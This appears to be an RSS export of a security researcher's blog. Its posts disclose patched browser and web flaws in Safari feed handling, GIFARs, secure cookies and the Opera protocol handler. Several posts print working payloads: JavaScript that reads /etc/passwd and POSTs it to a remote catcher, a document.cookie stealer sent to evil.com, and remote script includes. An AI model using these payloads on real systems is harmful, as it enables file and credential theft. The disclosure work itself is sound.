Billy (BK) Rios » Security http://xs-sniper.com/blog Thoughts on Security in an Uncivilized World… Mon, 02 Aug 2010 09:54:05 +0000 en hourly 1 http://wordpress.org/?v=3.0.1 Stealing Files With Safari 5 (CVE-2010-1778) http://xs-sniper.com/blog/2010/08/02/stealing-files-with-safari-5-cve-2010-1778/ http://xs-sniper.com/blog/2010/08/02/stealing-files-with-safari-5-cve-2010-1778/#comments Mon, 02 Aug 2010 09:54:05 +0000 xssniper http://xs-sniper.com/blog/?p=304 Last week, Apple patched a bug in Safari I had reported to the Apple security team.  The impact of the bug was listed as a vulnerability that could “cause files from the user’s system to be sent to a remote server”.  The advisory can be found here (CVE-2010-1778).

Here’s a breakdown of how you can get “files from the user’s system to be sent to a remote server”.  First, Safari has a built-in RSS/Feed processor which will take RSS files and transforms them into a format that is easy to read.  It’s important to understand that the XML content of the file being provided to the feed URL is not the same as the output markup that will be displayed by Safari’s built-in feed reader.  Safari takes bits of content from the RSS file and mixes it with some built-in markup.  Try browsing to this RSS feed with Firefox (http://xs-sniper.com/blog/feed/rss/) and do a quick view source.  Then try browsing to the same URL with Safari and view source.  You’ll see some drastic differences in the HTML markup between the two browser (the raw XML vs Safari’s transform).

When transforming the original XML file to a format that can be displayed by Safari’s internal feed reader, Safari also attempts to sanitize the XML file to prevent the execution of user/attacker controlled JavaScript.  This sanitization is done because JavaScript executed under the feed:// protocol has access to the local file system and is NOT subject to the same origin policy.  This bug bypassed these sanitization routines, giving an attacker the ability to execute arbitrary JavaScript under the feed protocol.  The specific bypass is here (although the Jay-Z content isn’t necessary for the exploit, it adds a bit of flava…):

<category term=”Hip Hop/Rap” scheme=”http://itunes.apple.com/us/genre/music-hip-hop-rap/id18?uo=2″ label=”Hip Hop/Rap”/>

<link title=”Preview” rel=”enclosure” type=‘video/x-m4″–><script src=”http://xs-sniper.com/blog/Safari-Feed/safari-mac-feedpwn.js”>
</script>’ href=”data:text/html,testtesttest” im:assetType=”preview”><im:duration>30864</im:duration></link>

<im:artist href=”http://itunes.apple.com/us/artist/jay-z/id112080?uo=2″>Jay-Z</im:artist>

The XML above is transformed into the following by Safari’s feed processing routines:

<div>

<!– <img src=”feed:///__icon32__/video/x-m4″–><script src=”http://xs-sniper.com/blog/Safari-Feed/safari-mac-feedpwn.js”> </script>”> –>

<img src=”file://localhost/C:/Program%20Files%20(x86)/Safari/PubSub.resources/default.jpg” height=”32″ width=”32″/>

The script include is executed in HTML markup, requesting a JavaScript payload of the attackers choice.  A quick PoC can be found here (http://xs-sniper.com/blog/Safari-Feed/feedpwn-mac.xml).  For Mac users without the latest patches for Safari, the PoC loads an attacker controlled JavaScript include and simply shows your /etc/passwd in a JavaScript dialog.  A better payload would be to crawl certain log files, extracting the username of the current user.  Once the username is extracted, the payload could grab the cookies.plist file giving the remote attacker all the cookies for all the websites the current user is logged into.  Various configuration and ini files could be useful as well.  I’m putting the final touches on a metasploit module that does just this :)

]]> http://xs-sniper.com/blog/2010/08/02/stealing-files-with-safari-5-cve-2010-1778/feed/ 2 Safari 3.2.2 Feed Protocol Handler Issues http://xs-sniper.com/blog/2009/06/09/safari-322-feed-protocol-handler-issues/ http://xs-sniper.com/blog/2009/06/09/safari-322-feed-protocol-handler-issues/#comments Tue, 09 Jun 2009 07:37:07 +0000 xssniper http://xs-sniper.com/blog/?p=265 A few weeks ago, Apple released a patch for their Safari browser.  The patch included a fix for a RSS feed handling vulnerability I had reported to them a while back.  The advisory can be found here.  This particular vulnerability is actually a variation of a previous RSS feed handling vulnerability I had reported to Apple earlier in the year.  The details of the original vulnerability can be found here.  Once PoC for the original bug was made public, a researcher named Alfredo Melloni contacted me about some additional weaknesses in Safari’s feed handling.  Here’s what we ended up with:

Safari can consume various RSS feeds for video content and music from iTunes.  These RSS feeds contained information for each item on iTunes  including ID, title, summary, and links to download the content.  The RSS feed file looked something like this:

<?xml version=”1.0″ encoding=”utf-8″?>
…
<entry>
<updated>2009-02-16T05:17:15-07:00</updated>
<id>http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewTVSeason?i=305318825&amp;id=287463411&amp;s=143441</id>
<title>No Exit – Battlestar Galactica (&#39;04)</title>
<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.</summary>
<im:name>No Exit</im:name>
<link rel=”alternate” type=”text/html” href=”http://www.google.com” />
<im:contentType term=”TV Show” label=”TV Show”><im:contentType term=”TV Episode” label=”TV Episode”/></im:contentType>
<category term=”Sci Fi &amp; Fantasy” scheme=”scheme”/>
…
</entry>
</feed>

Safari has some routines to sanitize and encode data in order to prevent the execution of user controlled JavaScript under the feed:// protocol handler.  As you may remember from my previous post, JavaScript executed under the feed protocol handler is privileged and is granted access to the local file system.   Alfredo discovered a way to bypass the built in filters for the feed protocol handler, allowing us to inject user controlled JavaScript.  The specific issue here involves the attacker controlled content provided to the “Summary” tags within the RSS feed file.  It seems that the content provided to the summary tag was missed by the encoding routines built into Safari.  We simply place Script tags within the summary tags and serve the file from our own server.

…

<title>No Exit – Battlestar Galactica (&#39;04)</title>
<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.<script>alert(1)</script></summary>
<im:name>No Exit</im:name>
…

Which is converted to HTML by Safari and rendered under feed://  as:

…
<div class=”apple-rss-author” title=”iTunes Store”>iTunes Store</div>

<div class=”apple-rss-summary” >On the Cylon baseship, Cavil confronts the last member of the Final Five.<script>alert(1)</script></div>

<div class=”apple-rss-date” title=”Feb 16, 4:17 AM”>Feb 16, 4:17 AM</div>
…

Since alert boxes are lame, below is a payload to steal the /etc/passwd file from a Mac running vulnerable versions of Safari (<3.2.2):

<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.
<script>
var contents;
var req;
req = new XMLHttpRequest();
req.onreadystatechange = processReqChange;
req.open(‘GET’, ‘file:///etc/passwd’, true);
req.send(”);

function processReqChange() {
if (req.readyState == 4) {
contents = req.responseText;
sendit2XSSniper(contents);
}
}
function sendit2XSSniper(stuff){
var req2;
req2 = new XMLHttpRequest();
req2.open(‘POST’, ‘http://xs-sniper.com/sniperscope/catcher.php’, true);
req2.setRequestHeader(‘Content-Type’,'application/x-www-form-urlencoded’);
req2.send(‘filename=etcpasswd&filecontents=’+escape(stuff));
}
</script>
</summary>

This flaw affected Safari 3.2.2 and certain versions of Safari 4 Beta.  Both Windows and Mac systems were affected.  Proof of concept can be found here (PoC, displays /etc/passwd or boot.ini in an alert box).  On Windows systems, the encoding and sanitization routines for feed:// are held in pubsub.dll :)   Happy hunting!

BK

]]> http://xs-sniper.com/blog/2009/06/09/safari-322-feed-protocol-handler-issues/feed/ 4 Stealing More Files with Safari http://xs-sniper.com/blog/2009/02/13/stealing-more-files-with-safari/ http://xs-sniper.com/blog/2009/02/13/stealing-more-files-with-safari/#comments Fri, 13 Feb 2009 18:42:33 +0000 xssniper http://xs-sniper.com/blog/?p=219 Apple recently patched a vulnerability in Safari’s RSS feed handling mechanisms I reported to them.  The advisory for Safari on OS X can be found here and the Safari for Windows advisory can be found here.  As always, Apple was excellent in their handling of the issue.  Two other researchers reported this same vulnerability to Apple (Clint Ruoho of Laconic Security and Brian Mastenbrook). Clint or Brian, let me know if either of you are planning on attending CanSec this year, I’ll buy you guys a couple beers.

Both Safari for OS X and Windows platforms were affected by this vulnerability (my precious iPhone was not affected). The vulnerability ultimately resulted in Remote Command Execution for both systems, making it a serious/critical issue for Safari users. There may be a technique to reach this vulnerability if you’re using a different browser on OS X, so even if Safari isn’t your default browser on OS X, I would recommend you grab the patch anyway :)

When I reported this issue to Apple, I reported it as a “File Stealing” vulnerability, which gave a remote attacker the ability to steal arbitrary files off the user’s file system. So, if you were using Safari and browsed to the wrong page (or fell victim to an XSS attack), an attacker had the ability to steal all of files from your local file system… ouch! Since the issue is patched, let’s look at how an attacker could steal some files using Safari… (RCE will be left as an exercise for the reader)

First, let’s take a look at Safari’s RSS feed handling mechanisms. Safari for both OS X and Windows supports the handling of RSS files through the Feed:// protocol handler. For example, if you wanted to view the feed for this blog in Safari, you could simply enter the following into the address bar:

feed://http://xs-sniper.com/blog/feed/

Feeds in Safari

RSS files are basically XML files that contain content that can be rendered by RSS readers.  In this case, the attacker controls the entire XML file. The XML file I started with followed the standard used by most blogs. The most interesting XML tags were the tags that held blog post content:

<content:encoded><![CDATA[ .... ></content:encoded>

It seems that Apple understood the dangers of taking in and rendering un-trusted RSS feeds and actually implemented a filtering routine in an attempt to filter dangerous content. In my attempts to defeat the filtering routine, I tried several different payload combinations, most of which were focused on the “content:encoded” tag; some of my payloads were HTML encoded before being displayed in the browser, other combinations resulted in tags and characters being stripped out completely. Eventually, I discovered a combination that would allow for the execution of script in the context of feed://

<content:encoded><![CDATA[
<body src=”http://xs-sniper.com/images/React-Team-Leader.JPG” onload=”javascript:alert('xss’);”“<onload=””
]]>
</content:encoded>

Which resulted in the following being rendered by Safari:

….
<div class=”apple-rss-article-body”>
<body src=”http://xs-sniper.com/images/React-Team-Leader.JPG” onload=”javascript:alert(‘xss’);”>
<onload></onload>
</body>
<!– end articlebody –></div
….

As you can see, Safari’s filtering routines have stripped out some characters and added some characters as well.  Despite the filtering, the HTML is valid and we now have script execution in the context of feed://.  Safari grants script executed within the context of feed:// access to the local file system, so from here I changed the “alert(‘xss’);” to an XMLHTTPRequest Object.

<body src=”http://xs-sniper.com/images/React-Team-Leader.JPG” onload=”javascript:alert(‘loading /etc/passwd into javascript’);var req;req = new XMLHttpRequest();req.onreadystatechange = processReqChange;req.open(‘GET’, ‘file:////etc/passwd’, true);req.send(”);function processReqChange() {if (req.readyState == 4) {alert(req.responseText); }}” <onload=”"

Proof of concept can be found here.

http://xs-sniper.com/sniperscope/Safari/feed-protocol/feed-sploit.php

The php script scans the UserAgent and determines whether you are using Safari on Windows or Safari on Mac OS X. If you happen to be on Mac OS X, the PoC will displays your /etc/passwd file in a JavaScript alert box. If you are on a Windows machine the PoC will display c:\windows\win.ini in a JavaScript alert box. Once the file contents are placed into a JavaScript object, getting the file contents back to the attacker is easily accomplished.  For large files, an attacker can even use a dynamically generated FORM and POST the contents back to the attacker server. An attacker could also use this vulnerability to establish a dynamic remote control channel by injecting a “<script src=http://XS-Sniper’s-IP-Address/dynamic.js>” (XS-Sniper is the name of my XSS proxy), giving the attacker more control over the JavaScript executed by the victim.

I’m very interested in vulnerabilities like this.  We (the security industry) have developed an extensive toolset to detect memory access violations, but we’re lacking in tools to detect boundary violations of this sort.  Memory corruption (IMHO) remains the holy grail of exploitation, but as memory corruption vulnerabilities become increasing difficult to exploit, it may be beneficial to develop tools and techniques to detect boundary violations such as this one.

]]> http://xs-sniper.com/blog/2009/02/13/stealing-more-files-with-safari/feed/ 4 SUN Fixes GIFARs http://xs-sniper.com/blog/2008/12/17/sun-fixes-gifars/ http://xs-sniper.com/blog/2008/12/17/sun-fixes-gifars/#comments Wed, 17 Dec 2008 09:22:26 +0000 xssniper http://xs-sniper.com/blog/?p=190 Last week, Sun released a patch for a vulnerability I reported to them.  The patch I’m talking about fixes the “GIFAR” issue.  I was unable to speak on the issue at Black Hat (for various reasons), but Nate McFeters did a great job of presenting the concept of GIFARs at Black Hat USA along with a simple example of how an attacker could use a GIFAR in an attack.  Now that the issue has been patched, I’d like to cover some of the things related to “GIFARs” that I thought were interesting (including a few items that were not mentioned at Black Hat).

Before we begin, I’d like to thanks Chok Poh from Sun’s Security team.  Chok was vital in fixing the GIFAR issue.  This patch required some significant thought as to how to best handle this issue.  Chok was very responsive and was smart enough to understand the impact of the unusual issue.  I’d also like to thank the Google Security team.  Google was our “guinea pig” for testing some of the pieces related to GIFARs and despite having to redesign some of their application behavior, they were gracious and very worked diligently to protect their users.  Now, on to the show!

As shown by Nate at Black Hat, creating the GIFAR is simple, we simply use the “copy” command on Windows or the “cat” command on *nix.  There are a few different places that talk about this technique (pdp has a great write up), but I first learned of the technique from Lifehacker.com in this post.  Once the GIFAR is created, we examine the file in a HEX editor.  The header of the file looks something like this:

header

The footer looks something like this:

Footer

We now have a file that is both a valid GIF and valid Java JAR.  We now upload our GIFAR to our victim domain (in this case Google’s Picasa Web).  Google attempts to ensure the file is a valid GIF (which it is) and takes ownership of the GIFAR on their domain.  Once Google has taken ownership of the GIFAR, I can reference the applet on my attacking page via the APPLET tag.  I think the items above were well covered at Black Hat and it is these concepts that represent the essence of a generic GIFAR attack… but Google is smart and they understood the dangers of insecure content ownership before GIFAR, so let’s looks at how we bypassed these Google specific protections.

When we first examined the GIFAR we uploaded to Picasa Web, it wasn’t actually served from the google.com domain.  The actual domain it was served from lh4.ggpht.com.  Below is a screenshot of the domain Google was using to serve the user supplied images.

Google Alias

After some investigation, we realized that ggpht.com was actually an alias for google.com.  So, we could manually change our request from lh4.ggpht.com to lh4.google.com.

lh4.google.com

Bingo!  Now we are on a google.com domain!  From here, a lot of attackers begin to think “Java has raw sockets…”.  It’s one of the first avenues we approached, but we quickly discovered that raw sockets aren’t as useful as other techniques.  Instead of raw sockets, we chose to use Java’s HTTPUrlConnection object.  We chose the HTTPUrlConnection object for two very good reasons.  The first reason is HTTPUrlConnection uses the browsers cookies when making request to domains.  So, if our applet is stored on lh4.google.com and the user is signed into Google, we get to piggy back off the victim’s cookies.  We’ll get to the second reason here in a bit.

httpurlconnection1

Now, even though we are now on the google.com domain, we still have a problem.  The Java Same Origin Policy allows the applet to connect back to the domain that served the applet (I’ve covered this behavior before in previous posts).  Considering the applet was served from lh4.google.com, the attacker is allowed to use the applet to connect back to lh4.google.com and only lh4.google.com.  The problem here is lh4.google.com doesn’t store anything interesting.  This problem leads us to the second reason we chose the HTTPUrlConnection object.

Java’s HTTPUrlConnection object has a method named “setRequestProperty”.  Using setRequestProperty we can set arbitrary HTTP headers for our GET and POST requests.  We use the setRequestProperty to set the HOST header for the HTTP request, allowing us to “jump” from the lh4.google.com domain to any other google.com sub domain.  As a simple example, I had discovered a contact list at http://groups-beta.google.com/groups/profile/contacts?out=&max=500 (Google has removed this contact list).  I set the URL object passed to the HTTPUrlConnection object to http://lh4.google.com/groups/profile/contacts?out=&max=500.  I also set the HOST header to groups-beta.google.com.

host

When the request is made, Java checks the value of the URL object to ensure the Same Origin Policy is enforced.  Since the domain of the URL object is lh4.google.com, everything checks out and Java lets the request through.  Once Google receives the request, it checks the HOST header to determine where the resource should be served from.  The HOST header specifies that the resource should be served from groups-beta.google.com, so despite the fact that the URL points to lh4.google.com, Google serves the contact list from groups-beta.google.com.  In this example, I stole a user’s contact list but it could have been any content from a number of Google sub domains.

All your contacts are belong to us

It’s easy to blame Java (Sun) for this issue.  After all, it was their JRE that had a relaxed Jar parsing criterion which allowed GIFARs to be passed as Jars.  In many respects some blame could be placed on Sun, but in my opinion (as humble as it is), this is ultimately a web application issue.  When a web application chooses to take ownership of a user controlled file and serves it from their domain, it weakens the integrity of the domain.  This isn’t the first time an image was repurposed like this, IE has had MIME sniffing issues with images, Flash had crossdomain.xml issues with images, and now we have GIFARs.  The impact of these attacks could have been minimized if web applications that took user controlled files served those files from a “throw away” domain.  As an application developer, you can prevent these types of attacks in the future by using a separate domain for user influenced files.

]]> http://xs-sniper.com/blog/2008/12/17/sun-fixes-gifars/feed/ 9 Stealing Files with Safari http://xs-sniper.com/blog/2008/11/19/stealing-files-with-safari/ http://xs-sniper.com/blog/2008/11/19/stealing-files-with-safari/#comments Wed, 19 Nov 2008 09:07:14 +0000 xssniper http://xs-sniper.com/blog/?p=182 Apple recently patched a vulnerability Nitesh “Leisure Suit” Dhanjani and I reported to them last week (CVE-2008-4216).  We had reported a similar vulnerability to Apple about two months ago (CVE-2008-3638).  In fact, the exploitation technique was so similar we held off releasing details until this 2nd patch was released.

The basic gist of this vulnerability pits a browser and a browser plug-in against each other in order to cross a subtle, but important boundary.  The issue starts simply enough with a victim visiting an attackers webpage.  Once on the attacker’s webpage, the attacker simply loads a Java Applet.  Inside of the applet is a call to getAppletContext().showDocument(URL);



getAppletContext().showDocument(URL) basically has the browser open a new browser window with the URL passed to showDocument().  Normally, browsers will not let remote sites open new browser windows which point to local files.  It seemed that Safari had some issues determining the specific  “rights” for windows opened via Java Applets and allowed getAppletContext().showDocument() to force the browser to open a file from the user’s local file system. 

Now here is where things get interesting…  Opening a local file in the browser isn’t very useful unless we can open and render/execute content that we control.  There are a couple ways plant our content in a predictable location using Safari.  Safari, by default has a reasonably predictable location for cached/temporary files.  We can use these predictable locations to load our content, we’ll have some guessing to do, but it works…  Safari can also be forced to dump user controlled contents to the “c:\temp” directory (in Windows, of course), which makes thing far more predictable making the attack a lot less noisy.  I’m not sure if Apple considers the “c:\temp” issue a bug, but just in case they do I won’t go over the details for the “c:\temp” trick just yet.

In case you’re wondering, Internet Explorer and FireFox use a random, 8 character directory name to prevent guessing of temporary file locations.

Once we’ve planted our contents to a predictable location, it’s now simply a matter of having the Java Applet call the file we’ve planted.  We have unlimited guesses to get the location and file name right, but the more guesses the more noisy the attack (obviously).  The file we’ve planted is an HTML file which loads an XMLHTTP object, which is used to steal files from the local file system.  You can include a <script src=”http://attacker-server/remote-control.js></script> if you want to remotely control the script running on the local file system.  Safari allows script to be executed from local files without warning, so once we get the right location and filename for our planted HTML file, files can be stolen off the local file system without user interaction or warnings.



Internet Explorer presents a warning before executing script from local files and FireFox (as of FireFox3) restricts XMLHTTP loaded from the local file system to the directory the html file was loaded from (and  any subdirectories).



Once we have the contents of the file in JavaScript space, we simple encode the contents and POST the contents to our attacker web server.  There you go… Stealing Files with Safari!

]]> http://xs-sniper.com/blog/2008/11/19/stealing-files-with-safari/feed/ 0 Surf Jacking Secure Cookies http://xs-sniper.com/blog/2008/09/24/surf-jacking-secure-cookies/ http://xs-sniper.com/blog/2008/09/24/surf-jacking-secure-cookies/#comments Wed, 24 Sep 2008 09:10:03 +0000 xssniper http://xs-sniper.com/blog/?p=172 I was thinking back to Sandro’s paper on Surf Jacking and I realized that there was one small caveat where the “Secure” flag wouldn’t protect your cookies from Surf Jacking…


The Side Jacking and Surf Jacking techniques basically stipulate that the attacker has to be on the same network segment as the victim (you have to be able to sniff the traffic in order to see the cookie go by on the network)… So I’ll stipulate the same.


Say I go to https://xs-sniper.com and xs-sniper.com sets a cookie, but sets it with the “Secure” flag.  An attacker could eventually force my browser to load a non-secure version of xs-sniper.com (http://xs-sniper.com) in an attempt to force my session cookie to travel in the clear so they can sniff the cookie as it goes by (this is a simplified description of Surf Jacking).  Now, if all my cookies are set secure, my cookies won’t travel over the wire in the clear…  I’m safe… right?


Not so fast…  If application sets all the cookies with the secure flag, BUT the web application also has a “script src” tag pointing to an insecure location (http://) then you can STILL STEAL THE COOKIE, even if its marked secure.   Let me explain…


If an attacker is on the same network segment as you, not only can they sniff clear text data (http://) they can also INJECT data as it traverses the network.   Let’s say I have a page on xs-sniper.com that does analytics for my web application.  We’ll name this page http://xs-sniper.com/analytics.html.  This page is meant to be served as http:// and contains no sensitive data, but if a user makes a direct request for https://xs-sniper.com/analytics.html the page is still served.  Inside of the page’s HTML is a script src tag that looks something like this:



<script src=”http://myanalytics.com/webbugs.js”></script>



Now, using the surf jack technique, Sandro redirected the victim to an http:// version of the targeted site.  In our case, redirecting to an insecure version of the site doesn’t help us as all the cookies are set SECURE.  Instead, we’ll redirect to an https:// page on our victim domain that contains an insecure script src tag like the one shown above (https://xs-sniper.com/analytics.html).  Once we see the request for the insecure javascript file (webbugs.js) file, we can inject our own javascript cookie stealing payload (as the script src request is made in the clear):



CookiesStealer = new Image();

CookiesStealer.src = “http://www.evil.com/stealer.jpg?”+document.cookie;



The injected script is executed by the page that loaded it and gives up the cookies for the domain, even if they are marked secure.  There you go… Secure cookies stolen.


Without warning or prompt, every browser I tested allowed an https:// page to load a script src from an insecure http:// location.  Ok… I lied… every browser EXCEPT ONE… can you guess which lonely browser provided a warning before allowing an https:// page to load a script from an http:// location?  You can find the answer here.  For those of you in disbelief, you can test your favorite browser(s) here.


SIDENOTE: HTTP pages that call document.cookie will NOT have access to SECURE cookies… well at least in the browsers that I checked… that’s pretty cool…


CLARIFICATION ON SIDENOTE: From my tests (which only covered a few browsers) it seems that the document.cookie object called from an http:// page WILL NOT contain secure cookies (this is a GOOD thing). So, if I were able to inject a full http:// page and called document.cookie, the secure cookie would be missing. This is why I needed to call an https:// page with a script src that loaded an insecure script file.

]]> http://xs-sniper.com/blog/2008/09/24/surf-jacking-secure-cookies/feed/ 11 Hostile Hotel Networks?!?! http://xs-sniper.com/blog/2008/09/15/hostile-hotel-networks/ http://xs-sniper.com/blog/2008/09/15/hostile-hotel-networks/#comments Mon, 15 Sep 2008 09:02:57 +0000 xssniper http://xs-sniper.com/blog/?p=49 Dark Reading recently had an interesting article related to the security of Hotel networks; you can find the article I’m talking about here.


As I read the article… I couldn’t help but smile… the article made it seem like Hotels have horribly insecure networks!  The truth is, THEY DO…along with airports, coffee shops, bookstores and pretty much ANY PLACE that offers up connectivity!


Some people fail to understand that when you join ANY network, you’re trusting that everyone on the network is playing nicely.  Many of the protocols that enable our network connectivity WERE NOT DESIGNED TO SECURELY SUPPORT THE SCENARIOS WE DEMAND TODAY.  Take for example, Address Resolution Protocol (ARP).  ARP is the one protocol that really makes me paranoid.  The details of how ARP works and how it can be used to do evil is way beyond the scope of this post, but you find some good information here, here, and here.


The ARP abuses I’m most interested in are ARP Poisoning attacks.  These attacks basically allow me to Man-in-the-Middle (MITM) network connections, typically from a victim’s machine to their gateway.  Now ARP poisoning attacks have one MAJOR drawback (from an attacker standpoint), they typically require the victim to be on the same network as the attacker (in layman’s terms).  Ask yourself this question…. why would I ever join an un-trusted network and possibly subject myself to such attacks? 


Surprisingly, people join un-trusted networks all time.  If you’ve ever associated to a wireless access point at a coffee shop, hotel, bookstore, or an airport…. you’ve joined an un-trusted network… IT’S THAT SIMPLE.  Just because the SSID and the welcome page has a familiar name/logo that you trust, THAT DOESNT MEAN THAT YOU CAN TRUST EVERYONE ELSE CONNECTED TO THAT NETWORK, and if you can’t trust everyone connected to the network, then you’ve got yourself an un-trusted network.  Now, MITM on “secure” connections (SSL aka HTTPS) usually causes a warning to appear (every major browser has this protection mechanism in place), and while I haven’t seen any studies on click through rate, I would guess that it’s pretty high.







Airports are a PRIME target for MITM, as they are typically filled with people using the available wireless access points to do business.  Many of these people are not technically savvy and more importantly, THEY ARE IN A HURRY, which brings them to push past warning message after warning message in order to “get this out before my plane leaves!”  If someone wanted to harvest a TON of sensitive information (creds to banking accounts, usernames, passwords, emails… everything you can possibly imagine), all they would have to do is connect to the airport wireless network, ARP poison every host they see… and let the creds roll in.  It’s that simple… trust me…  I’ve seen it firsthand…  I can guarantee that you’ll have someone’s creds within 5 minutes…


Security pros will argue, “you can use a VPN” and they are right.  If you are a corporate user, you shouldn’t even THINK about sending anything through an external, un-trusted network unless it’s through the VPN… but what about the home user?  What about mom and pop, traveling on vacation… where is their VPN?  Judging from the success of these attacks, even if a stern warning is presented, many users just ignore the warnings and continue on their merry way.  Scores of software will silently ignore certificate warnings, happily passing information onto a suspect host.  Besides, those warnings are only displayed when encryption is in play, so that unsuspecting user that is browsing their webmail over HTTP gets their session stolen without warning.  It’s truly amazing how noisy our computers have become, spitting out all sorts of info… trusting that everyone else on the network is playing nicely.


Let’s say you understand the risks of MITM and you have to email something out before your plane leaves.  You attempt to connect to your VPN server and you see a certificate warning.  You suspect that someone may have an MITM against you using ARP Poisoning… what can you do to protect yourself and still get the email out?

]]> http://xs-sniper.com/blog/2008/09/15/hostile-hotel-networks/feed/ 12 Simple Lesson on Secure Cookies http://xs-sniper.com/blog/2008/09/09/secure-cookies/ http://xs-sniper.com/blog/2008/09/09/secure-cookies/#comments Tue, 09 Sep 2008 09:05:50 +0000 xssniper http://xs-sniper.com/blog/?p=144 I recently read a paper written by Sandro Gauci from Enable Security entitled “Surf Jacking – HTTPS will not save you”. You can find the paper here.


It’s an interesting read and extremely relevant to today’s web applications.  The heart of the paper describes some simple tricks to force a session cookie to be sent over a non encrypted channel.  These tricks are possible if the secure flag isn’t set for the session cookie. These types of attacks have been discussed before. Side Jacking is probably the most well known (and most widely used) attack against leaked cookies.


<RANT> It bugs me that we’re still dealing with issues like this.  Despite having a simple and effective means to ensure that session cookies are only sent over secure channels, application owners choose to ignore the secure (and HTTPONLY) flag when developing their applications.  Later, as the application matures, developers find that their application has taken a significant dependency on this insecure behavior and what was once a simple fix now becomes a huge design change (which equals $$$).  The true victim’s to these poor security decisions are the users who are left scratching their heads when their accounts get pwnd while using the WiFi at Joes Coffee shop. </RANT>


I believe the secure flag is symbolic of the current state of web application security… the countermeasures to the issues we are facing are known, simple, and effective… yet we continue to struggle on wide scale implementation because we’ve taken dependencies on insecure behavior.  SSL certs are another great example of this.  Every major browser has a way to bypass the security provided by SSL certs.  Browsers MUST offer this bypass because if they didn’t, it would break the web… but i digress.


There is a bright spot when it comes to the protecting cookies.  Cookies are stored and protected by the browser (as any decent web app hacker should know!).  So, when an application server issues a “SET-COOKIE” header, it’s merely a recommendation as to how the browser should use the cookie.  Each cookie is maintained by the browser and all the flags (secure, path, domain, httponly, expires…etc) associated with cookies are enforced ENTIRELY by the browser.  So, if an application server sets a cookie WITHOUT the secure flag, I can tell my browser to disregard the servers recommendation and add the secure flag which ensures that the cookie will only be sent over secure channels.  This is really simple stuff, so seasoned web app hackers can stop here. Everyone else can continue reading.


I’ve set up a page on here that simply sets a cookie in the following manner:


Set-Cookie: XSSniper=BKRios; expires=CURRENTDATE


Examining the Cookie in FireFox shows the following:


Bad Cookie!


As you can see, we have a cookie named XSSNIPER and the SECURE flag was NOT set by the server.  In fact, my server will NEVER set the secure flag for the XSSNIPER cookie.  Now if I want to force my browser to enforce the secure flag for the XSSNIPER cookie, I can do so by entering the following Javascript into address bar.


javascript:var cookies=unescape(document.cookie);var split=cookies.split(";");for (i = 0; i <split.length;i++){document.cookie=split[i]+";expires=Thu,1-Jan-1970 00:00:00 GMT;";document.cookie=split[i]+";secure;"}document.location="http://xs-sniper.com/blog";


The Javascript above expires all of the current cookies (only on the client side, if you had a session established with the server it would still be maintained) and sets every cookie for the current domain to secure.  I realize the Javascript is pretty ghetto, this should ideally be handled by application, but we could also use a browser plugin with a nice UI and fine grained control over each cookie attribute… Hmmmm a tool to prevent Surf/Side Jacking attacks… I wonder what I would call it… Any ideas Nate?


After we run the Javascript, we can take another look at the Cookie info presented by Firefox:


Secure Cookies for everyone!


As you can see, the cookie will only be sent over encrypted connections and the cookie now expires at the end of the session (no more persistence).  We’ve turned the XSSNIPER cookie into a SECURE cookie, despite the fact that the server never specified this behavior.


Now, this approach does have it cons… Servers typically recommend a particular cookie setting because the application was designed to work/anticipate/depend on those characteristics.  This will probably break some application functionality, but broken functionality will show you exactly where your cookie would have been leaked :)

]]> http://xs-sniper.com/blog/2008/09/09/secure-cookies/feed/ 8 IE8b2 XSS Filter http://xs-sniper.com/blog/2008/09/04/ie8b2-xss-filter/ http://xs-sniper.com/blog/2008/09/04/ie8b2-xss-filter/#comments Thu, 04 Sep 2008 06:05:37 +0000 xssniper http://xs-sniper.com/blog/?p=138 I run a number of different browsers, for various reasons.  I was once even called a “browserholic” by a colleague!   I pulled down IE8b2 when it went live a week ago.  I don’t want to talk about the myriad of security features or browsing features as I think they’ve been covered in detail by many different sources, but I do want to mention one security feature… XSS Filter


XSS Filter was created by David Ross… he’s one of the smartest guys I’ve ever met.  In addition to being super smart, there is a certain boldness needed to take the lead in developing Internet Explorer’s built-in defense for the bane of the web.  David asked a number of security pros around the world to take a look at XSS Filter and I’m honored to have been asked to help.  You can see some of the names of those who participated in XSS-Filter’s creation here.



Thanks David and CONGRATS on the release!



Some technical details with regards to XSS-Filter can be found here.

]]> http://xs-sniper.com/blog/2008/09/04/ie8b2-xss-filter/feed/ 1 Opera Stuff – Followup http://xs-sniper.com/blog/2008/08/22/opera-stuff-followup/ http://xs-sniper.com/blog/2008/08/22/opera-stuff-followup/#comments Fri, 22 Aug 2008 09:41:19 +0000 xssniper http://xs-sniper.com/blog/?p=133 It always takes me a few weeks to work the booze out of my system after Blackhat and Defcon… but on the show…

 

Opera 9.52 was released a few days ago…  I hope you’ve upgraded!  Working with the Opera Security Team was a pleasure.  I think they have the most creative way of tracking each bug (by email address) and they were VERY responsive. 

 

A while back, I reported an issue to the Opera Security Team about some Opera protocol handling abuse I came across.  You can read the initial advisory here.  Now, when the initial advisory went out, the Opera Security Team asked me to hold off on the details until they published a follow up advisory, which can be found here.  Since the issue is patched and the second advisory is out, lets go over the details:

 

First of all… this is a cross application issue (I think Blended Threat is the sexy term being used these days).  We’ll use a protocol handling “aware” application to launch these attacks against Opera.  Opera just has to be installed someplace on the victim’s machine for this to work.

 

When a user installs Opera, the following protocol hanlder is registered:

 

Opera.Protocol  ”C:\Program Files\Opera\Opera.exe” “%1″

 

Which means.. when I call Opera.Protocol://test, the following basically gets passed to the command line (this is a simplified explanation, but hey… I’m a simple guy).

 

c:\Program Files\Opera\Opera.exe “Opera.Protocol://test”

 

Knowing this and determining that no internal check is done to distinguish between protocol handling and command line access, we are free to inject arbitrary arguments, which will be passed to Opera.  In the first example, we will inject the location of a local html file.  When the html file is loaded a warning will be presented to the user, but the contents will be rendered regardless of the user decision.  The protocol handling string we use looks like this:

 

<iframe src =  ‘opera.protocol:www.test.com” “file://c:\test.html ‘>

 

which ends up executing the following:

 

c:\program files\opera\opera.exe “opera.protocol:www.test.com” “file://c:\test.html”

 

If we can somehow place an html file to a known location this would be bad.  For arguments sake, lets assume Nate Mcfeters didn’t figure out a way to drop arbitrary content to a known location a few days ago (did I say that outloud?) … what else can we do?

 

